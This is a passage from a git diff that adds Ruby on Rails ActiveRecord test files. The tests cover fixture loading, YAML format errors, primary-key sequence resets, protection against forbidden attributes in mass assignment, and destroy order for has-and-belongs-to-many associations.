+ def test_open_with_block
+ called = false
+ File.open(::File.join(FIXTURES_ROOT, "accounts.yml")) do |fh|
+ called = true
+ assert_equal 6, fh.to_a.length
+ end
+ assert called, 'block called'
+ end
+
+ def test_names
+ File.open(::File.join(FIXTURES_ROOT, "accounts.yml")) do |fh|
+ assert_equal ["signals37",
+ "unknown",
+ "rails_core_account",
+ "last_account",
+ "rails_core_account_2",
+ "odegy_account"].sort, fh.to_a.map(&:first).sort
+ end
+ end
+
+ def test_values
+ File.open(::File.join(FIXTURES_ROOT, "accounts.yml")) do |fh|
+ assert_equal [1,2,3,4,5,6].sort, fh.to_a.map(&:last).map { |x|
+ x['id']
+ }.sort
+ end
+ end
+
+ def test_erb_processing
+ File.open(::File.join(FIXTURES_ROOT, "developers.yml")) do |fh|
+ devs = Array.new(8) { |i| "dev_#{i + 3}" }
+ assert_equal [], devs - fh.to_a.map(&:first)
+ end
+ end
+
+ def test_empty_file
+ tmp_yaml ['empty', 'yml'], '' do |t|
+ assert_equal [], File.open(t.path) { |fh| fh.to_a }
+ end
+ end
+
+ # A valid YAML file is not necessarily a value Fixture file. Make sure
+ # an exception is raised if the format is not valid Fixture format.
+ def test_wrong_fixture_format_string
+ tmp_yaml ['empty', 'yml'], 'qwerty' do |t|
+ assert_raises(ActiveRecord::Fixture::FormatError) do
+ File.open(t.path) { |fh| fh.to_a }
+ end
+ end
+ end
+
+ def test_wrong_fixture_format_nested
+ tmp_yaml ['empty', 'yml'], 'one: two' do |t|
+ assert_raises(ActiveRecord::Fixture::FormatError) do
+ File.open(t.path) { |fh| fh.to_a }
+ end
+ end
+ end
+
+ private
+ def tmp_yaml(name, contents)
+ t = Tempfile.new name
+ t.binmode
+ t.write contents
+ t.close
+ yield t
+ ensure
+ t.close true
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/fixtures_test.rb b/activerecord/test/cases/fixtures_test.rb
new file mode 100644
index 0000000..f6cfee0
--- /dev/null
+++ b/activerecord/test/cases/fixtures_test.rb
@@ -0,0 +1,796 @@
+require 'cases/helper'
+require 'models/admin'
+require 'models/admin/account'
+require 'models/admin/randomly_named_c1'
+require 'models/admin/user'
+require 'models/binary'
+require 'models/book'
+require 'models/category'
+require 'models/company'
+require 'models/computer'
+require 'models/course'
+require 'models/developer'
+require 'models/joke'
+require 'models/matey'
+require 'models/parrot'
+require 'models/pirate'
+require 'models/post'
+require 'models/randomly_named_c1'
+require 'models/reply'
+require 'models/ship'
+require 'models/task'
+require 'models/topic'
+require 'models/traffic_light'
+require 'models/treasure'
+require 'tempfile'
+
+class FixturesTest < ActiveRecord::TestCase
+ self.use_instantiated_fixtures = true
+ self.use_transactional_fixtures = false
+
+ # other_topics fixture should not be included here
+ fixtures :topics, :developers, :accounts, :tasks, :categories, :funny_jokes, :binaries, :traffic_lights
+
+ FIXTURES = %w( accounts binaries companies customers
+ developers developers_projects entrants
+ movies projects subscribers topics tasks )
+ MATCH_ATTRIBUTE_NAME = /[a-zA-Z][-\w]*/
+
+ def test_clean_fixtures
+ FIXTURES.each do |name|
+ fixtures = nil
+ assert_nothing_raised { fixtures = create_fixtures(name).first }
+ assert_kind_of(ActiveRecord::FixtureSet, fixtures)
+ fixtures.each { |_name, fixture|
+ fixture.each { |key, value|
+ assert_match(MATCH_ATTRIBUTE_NAME, key)
+ }
+ }
+ end
+ end
+
+ def test_broken_yaml_exception
+ badyaml = Tempfile.new ['foo', '.yml']
+ badyaml.write 'a: : '
+ badyaml.flush
+
+ dir = File.dirname badyaml.path
+ name = File.basename badyaml.path, '.yml'
+ assert_raises(ActiveRecord::Fixture::FormatError) do
+ ActiveRecord::FixtureSet.create_fixtures(dir, name)
+ end
+ ensure
+ badyaml.close
+ badyaml.unlink
+ end
+
+ def test_create_fixtures
+ fixtures = ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT, "parrots")
+ assert Parrot.find_by_name('Curious George'), 'George is not in the database'
+ assert fixtures.detect { |f| f.name == 'parrots' }, "no fixtures named 'parrots' in #{fixtures.map(&:name).inspect}"
+ end
+
+ def test_multiple_clean_fixtures
+ fixtures_array = nil
+ assert_nothing_raised { fixtures_array = create_fixtures(*FIXTURES) }
+ assert_kind_of(Array, fixtures_array)
+ fixtures_array.each { |fixtures| assert_kind_of(ActiveRecord::FixtureSet, fixtures) }
+ end
+
+ def test_create_symbol_fixtures
+ fixtures = ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT, :collections, :collections => Course) { Course.connection }
+
+ assert Course.find_by_name('Collection'), 'course is not in the database'
+ assert fixtures.detect { |f| f.name == 'collections' }, "no fixtures named 'collections' in #{fixtures.map(&:name).inspect}"
+ end
+
+ def test_attributes
+ topics = create_fixtures("topics").first
+ assert_equal("The First Topic", topics["first"]["title"])
+ assert_nil(topics["second"]["author_email_address"])
+ end
+
+ def test_inserts
+ create_fixtures("topics")
+ first_row = ActiveRecord::Base.connection.select_one("SELECT * FROM topics WHERE author_name = 'David'")
+ assert_equal("The First Topic", first_row["title"])
+
+ second_row = ActiveRecord::Base.connection.select_one("SELECT * FROM topics WHERE author_name = 'Mary'")
+ assert_nil(second_row["author_email_address"])
+ end
+
+ if ActiveRecord::Base.connection.supports_migrations?
+ def test_inserts_with_pre_and_suffix
+ # Reset cache to make finds on the new table work
+ ActiveRecord::FixtureSet.reset_cache
+
+ ActiveRecord::Base.connection.create_table :prefix_other_topics_suffix do |t|
+ t.column :title, :string
+ t.column :author_name, :string
+ t.column :author_email_address, :string
+ t.column :written_on, :datetime
+ t.column :bonus_time, :time
+ t.column :last_read, :date
+ t.column :content, :string
+ t.column :approved, :boolean, :default => true
+ t.column :replies_count, :integer, :default => 0
+ t.column :parent_id, :integer
+ t.column :type, :string, :limit => 50
+ end
+
+ # Store existing prefix/suffix
+ old_prefix = ActiveRecord::Base.table_name_prefix
+ old_suffix = ActiveRecord::Base.table_name_suffix
+
+ # Set a prefix/suffix we can test against
+ ActiveRecord::Base.table_name_prefix = 'prefix_'
+ ActiveRecord::Base.table_name_suffix = '_suffix'
+
+ other_topic_klass = Class.new(ActiveRecord::Base) do
+ def self.name
+ "OtherTopic"
+ end
+ end
+
+ topics = [create_fixtures("other_topics")].flatten.first
+
+ # This checks for a caching problem which causes a bug in the fixtures
+ # class-level configuration helper.
+ assert_not_nil topics, "Fixture data inserted, but fixture objects not returned from create"
+
+ first_row = ActiveRecord::Base.connection.select_one("SELECT * FROM prefix_other_topics_suffix WHERE author_name = 'David'")
+ assert_not_nil first_row, "The prefix_other_topics_suffix table appears to be empty despite create_fixtures: the row with author_name = 'David' was not found"
+ assert_equal("The First Topic", first_row["title"])
+
+ second_row = ActiveRecord::Base.connection.select_one("SELECT * FROM prefix_other_topics_suffix WHERE author_name = 'Mary'")
+ assert_nil(second_row["author_email_address"])
+
+ assert_equal :prefix_other_topics_suffix, topics.table_name.to_sym
+ # This assertion should preferably be the last in the list, because calling
+ # other_topic_klass.table_name sets a class-level instance variable
+ assert_equal :prefix_other_topics_suffix, other_topic_klass.table_name.to_sym
+
+ ensure
+ # Restore prefix/suffix to its previous values
+ ActiveRecord::Base.table_name_prefix = old_prefix
+ ActiveRecord::Base.table_name_suffix = old_suffix
+
+ ActiveRecord::Base.connection.drop_table :prefix_other_topics_suffix rescue nil
+ end
+ end
+
+ def test_insert_with_datetime
+ create_fixtures("tasks")
+ first = Task.find(1)
+ assert first
+ end
+
+ def test_logger_level_invariant
+ level = ActiveRecord::Base.logger.level
+ create_fixtures('topics')
+ assert_equal level, ActiveRecord::Base.logger.level
+ end
+
+ def test_instantiation
+ topics = create_fixtures("topics").first
+ assert_kind_of Topic, topics["first"].find
+ end
+
+ def test_complete_instantiation
+ assert_equal "The First Topic", @first.title
+ end
+
+ def test_fixtures_from_root_yml_with_instantiation
+ # assert_equal 2, @accounts.size
+ assert_equal 50, @unknown.credit_limit
+ end
+
+ def test_erb_in_fixtures
+ assert_equal "fixture_5", @dev_5.name
+ end
+
+ def test_empty_yaml_fixture
+ assert_not_nil ActiveRecord::FixtureSet.new( Account.connection, "accounts", 'Account', FIXTURES_ROOT + "/naked/yml/accounts")
+ end
+
+ def test_empty_yaml_fixture_with_a_comment_in_it
+ assert_not_nil ActiveRecord::FixtureSet.new( Account.connection, "companies", 'Company', FIXTURES_ROOT + "/naked/yml/companies")
+ end
+
+ def test_nonexistent_fixture_file
+ nonexistent_fixture_path = FIXTURES_ROOT + "/imnothere"
+
+ #sanity check to make sure that this file never exists
+ assert Dir[nonexistent_fixture_path+"*"].empty?
+
+ assert_raise(Errno::ENOENT) do
+ ActiveRecord::FixtureSet.new( Account.connection, "companies", 'Company', nonexistent_fixture_path)
+ end
+ end
+
+ def test_dirty_dirty_yaml_file
+ assert_raise(ActiveRecord::Fixture::FormatError) do
+ ActiveRecord::FixtureSet.new( Account.connection, "courses", 'Course', FIXTURES_ROOT + "/naked/yml/courses")
+ end
+ end
+
+ def test_omap_fixtures
+ assert_nothing_raised do
+ fixtures = ActiveRecord::FixtureSet.new(Account.connection, 'categories', 'Category', FIXTURES_ROOT + "/categories_ordered")
+
+ fixtures.each.with_index do |(name, fixture), i|
+ assert_equal "fixture_no_#{i}", name
+ assert_equal "Category #{i}", fixture['name']
+ end
+ end
+ end
+
+ def test_yml_file_in_subdirectory
+ assert_equal(categories(:sub_special_1).name, "A special category in a subdir file")
+ assert_equal(categories(:sub_special_1).class, SpecialCategory)
+ end
+
+ def test_subsubdir_file_with_arbitrary_name
+ assert_equal(categories(:sub_special_3).name, "A special category in an arbitrarily named subsubdir file")
+ assert_equal(categories(:sub_special_3).class, SpecialCategory)
+ end
+
+ def test_binary_in_fixtures
+ data = File.open(ASSETS_ROOT + "/flowers.jpg", 'rb') { |f| f.read }
+ data.force_encoding('ASCII-8BIT')
+ data.freeze
+ assert_equal data, @flowers.data
+ end
+
+ def test_serialized_fixtures
+ assert_equal ["Green", "Red", "Orange"], traffic_lights(:uk).state
+ end
+end
+
+if Account.connection.respond_to?(:reset_pk_sequence!)
+ class FixturesResetPkSequenceTest < ActiveRecord::TestCase
+ fixtures :accounts
+ fixtures :companies
+
+ def setup
+ @instances = [Account.new(:credit_limit => 50), Company.new(:name => 'RoR Consulting')]
+ ActiveRecord::FixtureSet.reset_cache # make sure tables get reinitialized
+ end
+
+ def test_resets_to_min_pk_with_specified_pk_and_sequence
+ @instances.each do |instance|
+ model = instance.class
+ model.delete_all
+ model.connection.reset_pk_sequence!(model.table_name, model.primary_key, model.sequence_name)
+
+ instance.save!
+ assert_equal 1, instance.id, "Sequence reset for #{model.table_name} failed."
+ end
+ end
+
+ def test_resets_to_min_pk_with_default_pk_and_sequence
+ @instances.each do |instance|
+ model = instance.class
+ model.delete_all
+ model.connection.reset_pk_sequence!(model.table_name)
+
+ instance.save!
+ assert_equal 1, instance.id, "Sequence reset for #{model.table_name} failed."
+ end
+ end
+
+ def test_create_fixtures_resets_sequences_when_not_cached
+ @instances.each do |instance|
+ max_id = create_fixtures(instance.class.table_name).first.fixtures.inject(0) do |_max_id, (_, fixture)|
+ fixture_id = fixture['id'].to_i
+ fixture_id > _max_id ? fixture_id : _max_id
+ end
+
+ # Clone the last fixture to check that it gets the next greatest id.
+ instance.save!
+ assert_equal max_id + 1, instance.id, "Sequence reset for #{instance.class.table_name} failed."
+ end
+ end
+ end
+end
+
+class FixturesWithoutInstantiationTest < ActiveRecord::TestCase
+ self.use_instantiated_fixtures = false
+ fixtures :topics, :developers, :accounts
+
+ def test_without_complete_instantiation
+ assert !defined?(@first)
+ assert !defined?(@topics)
+ assert !defined?(@developers)
+ assert !defined?(@accounts)
+ end
+
+ def test_fixtures_from_root_yml_without_instantiation
+ assert !defined?(@unknown), "@unknown is not defined"
+ end
+
+ def test_visibility_of_accessor_method
+ assert_equal false, respond_to?(:topics, false), "should be private method"
+ assert_equal true, respond_to?(:topics, true), "confirm to respond surely"
+ end
+
+ def test_accessor_methods
+ assert_equal "The First Topic", topics(:first).title
+ assert_equal "Jamis", developers(:jamis).name
+ assert_equal 50, accounts(:signals37).credit_limit
+ end
+
+ def test_accessor_methods_with_multiple_args
+ assert_equal 2, topics(:first, :second).size
+ assert_raise(StandardError) { topics([:first, :second]) }
+ end
+
+ def test_reloading_fixtures_through_accessor_methods
+ assert_equal "The First Topic", topics(:first).title
+ @loaded_fixtures['topics']['first'].expects(:find).returns(stub(:title => "Fresh Topic!"))
+ assert_equal "Fresh Topic!", topics(:first, true).title
+ end
+end
+
+class FixturesWithoutInstanceInstantiationTest < ActiveRecord::TestCase
+ self.use_instantiated_fixtures = true
+ self.use_instantiated_fixtures = :no_instances
+
+ fixtures :topics, :developers, :accounts
+
+ def test_without_instance_instantiation
+ assert !defined?(@first), "@first is not defined"
+ end
+end
+
+class TransactionalFixturesTest < ActiveRecord::TestCase
+ self.use_instantiated_fixtures = true
+ self.use_transactional_fixtures = true
+
+ fixtures :topics
+
+ def test_destroy
+ assert_not_nil @first
+ @first.destroy
+ end
+
+ def test_destroy_just_kidding
+ assert_not_nil @first
+ end
+end
+
+class MultipleFixturesTest < ActiveRecord::TestCase
+ fixtures :topics
+ fixtures :developers, :accounts
+
+ def test_fixture_table_names
+ assert_equal %w(topics developers accounts), fixture_table_names
+ end
+end
+
+class SetupTest < ActiveRecord::TestCase
+ # fixtures :topics
+
+ def setup
+ @first = true
+ end
+
+ def test_nothing
+ end
+end
+
+class SetupSubclassTest < SetupTest
+ def setup
+ super
+ @second = true
+ end
+
+ def test_subclassing_should_preserve_setups
+ assert @first
+ assert @second
+ end
+end
+
+
+class OverlappingFixturesTest < ActiveRecord::TestCase
+ fixtures :topics, :developers
+ fixtures :developers, :accounts
+
+ def test_fixture_table_names
+ assert_equal %w(topics developers accounts), fixture_table_names
+ end
+end
+
+class ForeignKeyFixturesTest < ActiveRecord::TestCase
+ fixtures :fk_test_has_pk, :fk_test_has_fk
+
+ # if foreign keys are implemented and fixtures
+ # are not deleted in reverse order then this test
+ # case will raise StatementInvalid
+
+ def test_number1
+ assert true
+ end
+
+ def test_number2
+ assert true
+ end
+end
+
+class OverRideFixtureMethodTest < ActiveRecord::TestCase
+ fixtures :topics
+
+ def topics(name)
+ topic = super
+ topic.title = 'omg'
+ topic
+ end
+
+ def test_fixture_methods_can_be_overridden
+ x = topics :first
+ assert_equal 'omg', x.title
+ end
+end
+
+class CheckSetTableNameFixturesTest < ActiveRecord::TestCase
+ set_fixture_class :funny_jokes => 'Joke'
+ fixtures :funny_jokes
+ # Set to false to blow away fixtures cache and ensure our fixtures are loaded
+ # and thus takes into account our set_fixture_class
+ self.use_transactional_fixtures = false
+
+ def test_table_method
+ assert_kind_of Joke, funny_jokes(:a_joke)
+ end
+end
+
+class FixtureNameIsNotTableNameFixturesTest < ActiveRecord::TestCase
+ set_fixture_class :items => Book
+ fixtures :items
+ # Set to false to blow away fixtures cache and ensure our fixtures are loaded
+ # and thus takes into account our set_fixture_class
+ self.use_transactional_fixtures = false
+
+ def test_named_accessor
+ assert_kind_of Book, items(:dvd)
+ end
+end
+
+class FixtureNameIsNotTableNameMultipleFixturesTest < ActiveRecord::TestCase
+ set_fixture_class :items => Book, :funny_jokes => Joke
+ fixtures :items, :funny_jokes
+ # Set to false to blow away fixtures cache and ensure our fixtures are loaded
+ # and thus takes into account our set_fixture_class
+ self.use_transactional_fixtures = false
+
+ def test_named_accessor_of_differently_named_fixture
+ assert_kind_of Book, items(:dvd)
+ end
+
+ def test_named_accessor_of_same_named_fixture
+ assert_kind_of Joke, funny_jokes(:a_joke)
+ end
+end
+
+class CustomConnectionFixturesTest < ActiveRecord::TestCase
+ set_fixture_class :courses => Course
+ fixtures :courses
+ self.use_transactional_fixtures = false
+
+ def test_connection_instance_method_deprecation
+ assert_deprecated { courses(:ruby).connection }
+ end
+
+ def test_leaky_destroy
+ assert_nothing_raised { courses(:ruby) }
+ courses(:ruby).destroy
+ end
+
+ def test_it_twice_in_whatever_order_to_check_for_fixture_leakage
+ test_leaky_destroy
+ end
+end
+
+class TransactionalFixturesOnCustomConnectionTest < ActiveRecord::TestCase
+ set_fixture_class :courses => Course
+ fixtures :courses
+ self.use_transactional_fixtures = true
+
+ def test_leaky_destroy
+ assert_nothing_raised { courses(:ruby) }
+ courses(:ruby).destroy
+ end
+
+ def test_it_twice_in_whatever_order_to_check_for_fixture_leakage
+ test_leaky_destroy
+ end
+end
+
+class InvalidTableNameFixturesTest < ActiveRecord::TestCase
+ fixtures :funny_jokes
+ # Set to false to blow away fixtures cache and ensure our fixtures are loaded
+ # and thus takes into account our lack of set_fixture_class
+ self.use_transactional_fixtures = false
+
+ def test_raises_error
+ assert_raise ActiveRecord::FixtureClassNotFound do
+ funny_jokes(:a_joke)
+ end
+ end
+end
+
+class CheckEscapedYamlFixturesTest < ActiveRecord::TestCase
+ set_fixture_class :funny_jokes => 'Joke'
+ fixtures :funny_jokes
+ # Set to false to blow away fixtures cache and ensure our fixtures are loaded
+ # and thus takes into account our set_fixture_class
+ self.use_transactional_fixtures = false
+
+ def test_proper_escaped_fixture
+ assert_equal "The \\n Aristocrats\nAte the candy\n", funny_jokes(:another_joke).name
+ end
+end
+
+class DevelopersProject; end
+class ManyToManyFixturesWithClassDefined < ActiveRecord::TestCase
+ fixtures :developers_projects
+
+ def test_this_should_run_cleanly
+ assert true
+ end
+end
+
+class FixturesBrokenRollbackTest < ActiveRecord::TestCase
+ def blank_setup
+ @fixture_connections = [ActiveRecord::Base.connection]
+ end
+ alias_method :ar_setup_fixtures, :setup_fixtures
+ alias_method :setup_fixtures, :blank_setup
+ alias_method :setup, :blank_setup
+
+ def blank_teardown; end
+ alias_method :ar_teardown_fixtures, :teardown_fixtures
+ alias_method :teardown_fixtures, :blank_teardown
+ alias_method :teardown, :blank_teardown
+
+ def test_no_rollback_in_teardown_unless_transaction_active
+ assert_equal 0, ActiveRecord::Base.connection.open_transactions
+ assert_raise(RuntimeError) { ar_setup_fixtures }
+ assert_equal 0, ActiveRecord::Base.connection.open_transactions
+ assert_nothing_raised { ar_teardown_fixtures }
+ assert_equal 0, ActiveRecord::Base.connection.open_transactions
+ end
+
+ private
+ def load_fixtures
+ raise 'argh'
+ end
+end
+
+class LoadAllFixturesTest < ActiveRecord::TestCase
+ self.fixture_path = FIXTURES_ROOT + "/all"
+ fixtures :all
+
+ def test_all_there
+ assert_equal %w(developers people tasks), fixture_table_names.sort
+ end
+end
+
+class LoadAllFixturesWithPathnameTest < ActiveRecord::TestCase
+ self.fixture_path = Pathname.new(FIXTURES_ROOT).join('all')
+ fixtures :all
+
+ def test_all_there
+ assert_equal %w(developers people tasks), fixture_table_names.sort
+ end
+end
+
+class FasterFixturesTest < ActiveRecord::TestCase
+ fixtures :categories, :authors
+
+ def load_extra_fixture(name)
+ fixture = create_fixtures(name).first
+ assert fixture.is_a?(ActiveRecord::FixtureSet)
+ @loaded_fixtures[fixture.table_name] = fixture
+ end
+
+ def test_cache
+ assert ActiveRecord::FixtureSet.fixture_is_cached?(ActiveRecord::Base.connection, 'categories')
+ assert ActiveRecord::FixtureSet.fixture_is_cached?(ActiveRecord::Base.connection, 'authors')
+
+ assert_no_queries do
+ create_fixtures('categories')
+ create_fixtures('authors')
+ end
+
+ load_extra_fixture('posts')
+ assert ActiveRecord::FixtureSet.fixture_is_cached?(ActiveRecord::Base.connection, 'posts')
+ self.class.setup_fixture_accessors :posts
+ assert_equal 'Welcome to the weblog', posts(:welcome).title
+ end
+end
+
+class FoxyFixturesTest < ActiveRecord::TestCase
+ fixtures :parrots, :parrots_pirates, :pirates, :treasures, :mateys, :ships, :computers, :developers, :"admin/accounts", :"admin/users"
+
+ def test_identifies_strings
+ assert_equal(ActiveRecord::FixtureSet.identify("foo"), ActiveRecord::FixtureSet.identify("foo"))
+ assert_not_equal(ActiveRecord::FixtureSet.identify("foo"), ActiveRecord::FixtureSet.identify("FOO"))
+ end
+
+ def test_identifies_symbols
+ assert_equal(ActiveRecord::FixtureSet.identify(:foo), ActiveRecord::FixtureSet.identify(:foo))
+ end
+
+ def test_identifies_consistently
+ assert_equal 207281424, ActiveRecord::FixtureSet.identify(:ruby)
+ assert_equal 1066363776, ActiveRecord::FixtureSet.identify(:sapphire_2)
+ end
+
+ TIMESTAMP_COLUMNS = %w(created_at created_on updated_at updated_on)
+
+ def test_populates_timestamp_columns
+ TIMESTAMP_COLUMNS.each do |property|
+ assert_not_nil(parrots(:george).send(property), "should set #{property}")
+ end
+ end
+
+ def test_does_not_populate_timestamp_columns_if_model_has_set_record_timestamps_to_false
+ TIMESTAMP_COLUMNS.each do |property|
+ assert_nil(ships(:black_pearl).send(property), "should not set #{property}")
+ end
+ end
+
+ def test_populates_all_columns_with_the_same_time
+ last = nil
+
+ TIMESTAMP_COLUMNS.each do |property|
+ current = parrots(:george).send(property)
+ last ||= current
+
+ assert_equal(last, current)
+ last = current
+ end
+ end
+
+ def test_only_populates_columns_that_exist
+ assert_not_nil(pirates(:blackbeard).created_on)
+ assert_not_nil(pirates(:blackbeard).updated_on)
+ end
+
+ def test_preserves_existing_fixture_data
+ assert_equal(2.weeks.ago.to_date, pirates(:redbeard).created_on.to_date)
+ assert_equal(2.weeks.ago.to_date, pirates(:redbeard).updated_on.to_date)
+ end
+
+ def test_generates_unique_ids
+ assert_not_nil(parrots(:george).id)
+ assert_not_equal(parrots(:george).id, parrots(:louis).id)
+ end
+
+ def test_automatically_sets_primary_key
+ assert_not_nil(ships(:black_pearl))
+ end
+
+ def test_preserves_existing_primary_key
+ assert_equal(2, ships(:interceptor).id)
+ end
+
+ def test_resolves_belongs_to_symbols
+ assert_equal(parrots(:george), pirates(:blackbeard).parrot)
+ end
+
+ def test_ignores_belongs_to_symbols_if_association_and_foreign_key_are_named_the_same
+ assert_equal(developers(:david), computers(:workstation).developer)
+ end
+
+ def test_supports_join_tables
+ assert(pirates(:blackbeard).parrots.include?(parrots(:george)))
+ assert(pirates(:blackbeard).parrots.include?(parrots(:louis)))
+ assert(parrots(:george).pirates.include?(pirates(:blackbeard)))
+ end
+
+ def test_supports_inline_habtm
+ assert(parrots(:george).treasures.include?(treasures(:diamond)))
+ assert(parrots(:george).treasures.include?(treasures(:sapphire)))
+ assert(!parrots(:george).treasures.include?(treasures(:ruby)))
+ end
+
+ def test_supports_inline_habtm_with_specified_id
+ assert(parrots(:polly).treasures.include?(treasures(:ruby)))
+ assert(parrots(:polly).treasures.include?(treasures(:sapphire)))
+ assert(!parrots(:polly).treasures.include?(treasures(:diamond)))
+ end
+
+ def test_supports_yaml_arrays
+ assert(parrots(:louis).treasures.include?(treasures(:diamond)))
+ assert(parrots(:louis).treasures.include?(treasures(:sapphire)))
+ end
+
+ def test_strips_DEFAULTS_key
+ assert_raise(StandardError) { parrots(:DEFAULTS) }
+
+ # this lets us do YAML defaults and not have an extra fixture entry
+ %w(sapphire ruby).each { |t| assert(parrots(:davey).treasures.include?(treasures(t))) }
+ end
+
+ def test_supports_label_interpolation
+ assert_equal("frederick", parrots(:frederick).name)
+ end
+
+ def test_supports_polymorphic_belongs_to
+ assert_equal(pirates(:redbeard), treasures(:sapphire).looter)
+ assert_equal(parrots(:louis), treasures(:ruby).looter)
+ end
+
+ def test_only_generates_a_pk_if_necessary
+ m = Matey.first
+ m.pirate = pirates(:blackbeard)
+ m.target = pirates(:redbeard)
+ end
+
+ def test_supports_sti
+ assert_kind_of DeadParrot, parrots(:polly)
+ assert_equal pirates(:blackbeard), parrots(:polly).killer
+ end
+
+ def test_namespaced_models
+ assert admin_accounts(:signals37).users.include?(admin_users(:david))
+ assert_equal 2, admin_accounts(:signals37).users.size
+ end
+end
+
+class ActiveSupportSubclassWithFixturesTest < ActiveRecord::TestCase
+ fixtures :parrots
+
+ # This seemingly useless assertion catches a bug that caused the fixtures
+ # setup code call nil[]
+ def test_foo
+ assert_equal parrots(:louis), Parrot.find_by_name("King Louis")
+ end
+end
+
+class FixtureLoadingTest < ActiveRecord::TestCase
+ def test_logs_message_for_failed_dependency_load
+ ActiveRecord::TestCase.expects(:require_dependency).with(:does_not_exist).raises(LoadError)
+ ActiveRecord::Base.logger.expects(:warn)
+ ActiveRecord::TestCase.try_to_load_dependency(:does_not_exist)
+ end
+
+ def test_does_not_logs_message_for_successful_dependency_load
+ ActiveRecord::TestCase.expects(:require_dependency).with(:works_out_fine)
+ ActiveRecord::Base.logger.expects(:warn).never
+ ActiveRecord::TestCase.try_to_load_dependency(:works_out_fine)
+ end
+end
+
+class CustomNameForFixtureOrModelTest < ActiveRecord::TestCase
+ ActiveRecord::FixtureSet.reset_cache
+
+ set_fixture_class :randomly_named_a9 =>
+ ClassNameThatDoesNotFollowCONVENTIONS,
+ :'admin/randomly_named_a9' =>
+ Admin::ClassNameThatDoesNotFollowCONVENTIONS,
+ 'admin/randomly_named_b0' =>
+ Admin::ClassNameThatDoesNotFollowCONVENTIONS
+
+ fixtures :randomly_named_a9, 'admin/randomly_named_a9',
+ :'admin/randomly_named_b0'
+
+ def test_named_accessor_for_randomly_named_fixture_and_class
+ assert_kind_of ClassNameThatDoesNotFollowCONVENTIONS,
+ randomly_named_a9(:first_instance)
+ end
+
+ def test_named_accessor_for_randomly_named_namespaced_fixture_and_class
+ assert_kind_of Admin::ClassNameThatDoesNotFollowCONVENTIONS,
+ admin_randomly_named_a9(:first_instance)
+ assert_kind_of Admin::ClassNameThatDoesNotFollowCONVENTIONS,
+ admin_randomly_named_b0(:second_instance)
+ end
+
+ def test_table_name_is_defined_in_the_model
+ assert_equal 'randomly_named_table', ActiveRecord::FixtureSet::all_loaded_fixtures["admin/randomly_named_a9"].table_name
+ assert_equal 'randomly_named_table', Admin::ClassNameThatDoesNotFollowCONVENTIONS.table_name
+ end
+end
diff --git a/activerecord/test/cases/forbidden_attributes_protection_test.rb b/activerecord/test/cases/forbidden_attributes_protection_test.rb
new file mode 100644
index 0000000..490b599
--- /dev/null
+++ b/activerecord/test/cases/forbidden_attributes_protection_test.rb
@@ -0,0 +1,64 @@
+require 'cases/helper'
+require 'active_support/core_ext/hash/indifferent_access'
+require 'models/person'
+require 'models/company'
+
+class ProtectedParams < ActiveSupport::HashWithIndifferentAccess
+ attr_accessor :permitted
+ alias :permitted? :permitted
+
+ def initialize(attributes)
+ super(attributes)
+ @permitted = false
+ end
+
+ def permit!
+ @permitted = true
+ self
+ end
+
+ def dup
+ super.tap do |duplicate|
+ duplicate.instance_variable_set :@permitted, @permitted
+ end
+ end
+end
+
+class ForbiddenAttributesProtectionTest < ActiveRecord::TestCase
+ def test_forbidden_attributes_cannot_be_used_for_mass_assignment
+ params = ProtectedParams.new(first_name: 'Guille', gender: 'm')
+ assert_raises(ActiveModel::ForbiddenAttributesError) do
+ Person.new(params)
+ end
+ end
+
+ def test_permitted_attributes_can_be_used_for_mass_assignment
+ params = ProtectedParams.new(first_name: 'Guille', gender: 'm')
+ params.permit!
+ person = Person.new(params)
+
+ assert_equal 'Guille', person.first_name
+ assert_equal 'm', person.gender
+ end
+
+ def test_forbidden_attributes_cannot_be_used_for_sti_inheritance_column
+ params = ProtectedParams.new(type: 'Client')
+ assert_raises(ActiveModel::ForbiddenAttributesError) do
+ Company.new(params)
+ end
+ end
+
+ def test_permitted_attributes_can_be_used_for_sti_inheritance_column
+ params = ProtectedParams.new(type: 'Client')
+ params.permit!
+ person = Company.new(params)
+ assert_equal person.class, Client
+ end
+
+ def test_regular_hash_should_still_be_used_for_mass_assignment
+ person = Person.new(first_name: 'Guille', gender: 'm')
+
+ assert_equal 'Guille', person.first_name
+ assert_equal 'm', person.gender
+ end
+end
diff --git a/activerecord/test/cases/habtm_destroy_order_test.rb b/activerecord/test/cases/habtm_destroy_order_test.rb
new file mode 100644
index 0000000..2ce0de3
--- /dev/null
+++ b/activerecord/test/cases/habtm_destroy_order_test.rb
@@ -0,0 +1,61 @@
+require "cases/helper"
+require "models/lesson"
+require "models/student"
+
+class HabtmDestroyOrderTest < ActiveRecord::TestCase
+ test "may not delete a lesson with students" do
+ sicp = Lesson.new(:name => "SICP")
+ ben = Student.new(:name => "Ben Bitdiddle")
+ sicp.students << ben
+ sicp.save!
+ assert_raises LessonError do
+ assert_no_difference('Lesson.count') do
+ sicp.destroy
+ end
+ end
+ assert !sicp.destroyed?
+ end
+
+ test 'should not raise error if have foreign key in the join table' do
+ student = Student.new(:name => "Ben Bitdiddle")
+ lesson = Lesson.new(:name => "SICP")
+ lesson.students << student
+ lesson.save!
+ assert_nothing_raised do
+ student.destroy
+ end
+ end
+
+ test "not destroying a student with lessons leaves student<=>lesson association intact" do
+ # test a normal before_destroy doesn't destroy the habtm joins
+ begin
+ sicp = Lesson.new(:name => "SICP")
+ ben = Student.new(:name => "Ben Bitdiddle")
+ # add a before destroy to student
+ Student.class_eval do
+ before_destroy do
+ raise ActiveRecord::Rollback unless lessons.empty?
+ end
+ end
+ ben.lessons << sicp
+ ben.save!
+ ben.destroy
+ assert !ben.reload.lessons.empty?
+ ensure
+ # get rid of it so Student is still like it was
+ Student.reset_callbacks(:destroy)
+ end
+ end
+
+ test "not destroying a lesson with students leaves student<=>lesson association intact" do
+ # test a more aggressive before_destroy doesn't destroy the habtm joins and still throws the exception
+ sicp = Lesson.new(:name => "SICP")
+ ben = Student.new(:name => "Ben Bitdiddle")
+ sicp.students << ben
+ sicp.save!
+ assert_raises LessonError do
+ sicp.destroy
+ end
+ assert !sicp.reload.students.empty?
+ end
+end
diff --git a/activerecord/test/cases/helper.rb b/activerecord/test/cases/helper.rb
new file mode 100644
index 0000000..7dbb661
--- /dev/null
+++ b/activerecord/test/cases/helper.rb
@@ -0,0 +1,151 @@
+require File.expand_path('../../../../load_paths', __FILE__)
+
+require 'config'
+
+require 'active_support/testing/autorun'
